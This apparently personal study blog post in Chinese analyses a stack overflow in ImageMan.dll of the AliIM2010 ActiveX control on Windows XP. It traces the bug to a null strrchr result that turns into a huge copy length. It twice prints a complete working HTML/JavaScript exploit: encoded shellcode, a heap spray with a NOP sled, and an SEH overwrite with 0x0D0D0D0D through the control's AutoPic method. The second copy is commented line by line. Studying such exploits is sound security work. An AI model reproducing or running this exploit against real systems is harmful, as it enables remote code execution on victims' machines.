Welcome to Windows pwn~
环境搭建:
虚拟机:winxp sp3 32位
再装一些常用的tools,olldby,immundbg,windbg这些。
漏洞版本的软件:AliIM2010_taobao(6.50.00C)
PoC crash 分析
运行PoC,windbg附加IE浏览器:
能知道是ImageMan.dll
的问题。
此时kb
查看:
根据
1003406b 8807 mov byte ptr [edi],al ds:0023:00130000=41
在IDA中看:
正是_mbsnbcpy
函数。
回溯调用点也很简单
int __stdcall sub_1001AB7F(int a1, LPCWCH lpWideCharStr, int a3)
{
const OLECHAR *v4; // eax
char v5[4]; // [esp+Ch] [ebp-314h] BYREF
CHAR String; // [esp+10h] [ebp-310h] BYREF
char v7[256]; // [esp+11h] [ebp-30Fh] BYREF
__int16 v8; // [esp+111h] [ebp-20Fh]
char v9; // [esp+113h] [ebp-20Dh]
char *v10; // [esp+114h] [ebp-20Ch]
CHAR MultiByteStr; // [esp+118h] [ebp-208h] BYREF
char v12[256]; // [esp+119h] [ebp-207h] BYREF
__int16 v13; // [esp+219h] [ebp-107h]
char v14; // [esp+21Bh] [ebp-105h]
unsigned __int8 Dest; // [esp+21Ch] [ebp-104h] BYREF
char v16[256]; // [esp+21Dh] [ebp-103h] BYREF
__int16 v17; // [esp+31Dh] [ebp-3h]
char v18; // [esp+31Fh] [ebp-1h]
MultiByteStr = 0;
memset(v12, 0, sizeof(v12));
v13 = 0;
v14 = 0;
WideCharToMultiByte(0, 0, lpWideCharStr, -1, &MultiByteStr, 260, 0, 0);
String = 0;
memset(v7, 0, sizeof(v7));
v8 = 0;
v9 = 0;
v10 = strrchr(&MultiByteStr, '\\');
Dest = 0;
memset(v16, 0, sizeof(v16));
v17 = 0;
v18 = 0;
sub_1001C310(&Dest, (unsigned __int8 *)&MultiByteStr, v10 - &MultiByteStr + 1);
sub_100271FE((char *)&Dest);
sub_10018BA1(&MultiByteStr, &String);
sub_1001BFE0(&String);
if ( a3 )
{
v4 = (const OLECHAR *)std::_Iterator_base_aux::_Getmycont((std::_Iterator_base_aux *)v5);
*(_DWORD *)a3 = SysAllocString(v4);
}
sub_1001C040(v5);
return 0;
}
重点在 v10 = strrchr(&MultiByteStr, '\\');
这里,按poc的写法,我们没有斜杠,那么v10就成了意料之外的值,这里可以具体调试看看后面调用sub_1001C310(&Dest, (unsigned __int8 *)&MultiByteStr, v10 - &MultiByteStr + 1);
时的count值为多少。
这里用ollydbg,按照教程的方法,ALT+E找到可执行模块OLEAUT32
,双击进入,然后CTRL+N找到函数DispCallFunc
,在第一个CALL ECX下断点。调试。
打开PoC,断下后:
这个地址正是刚刚分析的函数的入口地址:
调试可以看到,_strrchr结束后,结果是一个空指针:
这样就导致了0(null)-&Multi…+1为负数,由于size_t Count,所以会被转为一个大数!!!
这就导致了sub_1001C310
传入的Count远大于控制的260,造成了栈溢出。。
感觉不是fuzz的话也想不到这里会有个漏洞。。。
Exp retaddr? SEH!
上面分析了poc,下面调试看看exp。
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++)
memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++)
s+=unescape("%0D%0D%0D%0D");
target.AutoPic(s,"defaultV");
</script>
</body>
</html>
用了heapSpray,正好调试看看。
首先IE加载exp.html,效果:
下面还是ollydbg附加调试来分析。
但找在哪里触发的exp花了很久。。。
因为在copy结束返回之前就触发了。。。
是覆盖的SEH:?因为最后看到是在内核raiseException触发的。
呃,这些只是看过理论,没有实操过。。
跟着这篇看看
https://www.cnblogs.com/ichunqiu/p/8422987.html
exp采用的是覆盖SEH的打法。
我们跟到copy的地方,看SEH链:(直接ollydbg插件看)
而我们的edi是0012E14C左右,也就是说Dest地址是低于SEH链的地址的。
所以我们通过溢出覆盖SEH链的处理程序地址为0D0D0D0D,然后继续覆盖,覆盖到不可写区域,触发异常;
结合HeapSpray和nop滑板,就能执行shellcode.
据此来分析exp代码。
要注意一个点,js中的长度是按照宽字符计算的,所以我们转换成C的要x2。
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
// size = 0xA0
nops=unescape('%u9090%u9090'); // size = 0x04
headersize =20; // size = 0x28
slackspace= headersize + shellcode.length; // size = 0xC8; slackspace = 100
while(nops.length < slackspace) nops+= nops; // 2*8 = 0x100
fillblock= nops.substring(0, slackspace); // size = 0xC8
block= nops.substring(0, nops.length- slackspace); // size = 0x38
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; // size = 0xFFEAC
memory=new Array(); // HeapSpray 利用js能够申请堆内存
for( counter=0; counter<200; counter++)
memory[counter]= block + shellcode; // 保证 nops + shellcode 能够覆盖到0D0D0D0D
s='';
for( counter=0; counter<=1000; counter++)
s+=unescape("%0D%0D%0D%0D"); // 覆盖SEH
target.AutoPic(s,"defaultV");
</script>
</body>
</html>
我们F9,触发exp时看此时的SEH链:
可以看到12E640被覆盖为0D0D0D0D了
至此,SEH的打法已经大概懂了。
接下来思考:为什么不能打返回地址:?
注意到这个:
WideCharToMultiByte
看参数表知道,这个0x104是&MultiByteStr
指向的缓冲区的最大值!
也就是规定了最大是0x104,也就是为什么后面size_t转换出的大数触发了异常。
而要覆盖栈底的返回地址的话,0x104是不够的。
那为什么SEH可以覆盖呢?
这里就是一个很巧的点:
Dest
和MultiByteStr
刚好差0x104的offset。
也就是我们sub_1001C310
将MultiByteStr
0x104个0D复制到Dest
后,由于size_t转换出的大数,会继续复制,但此时因为Dest已经被复制为0D…0D了,所以会继续复制0D!!!
如果Dest
和MultiByteStr
不是刚好差0x104的话,复制完后就会有一段真空(不是0D的其他数据),虽然感觉真空不大的话也能利用。
总之,很巧妙的溢出覆盖了SEH,而要打返回地址的话是不行的。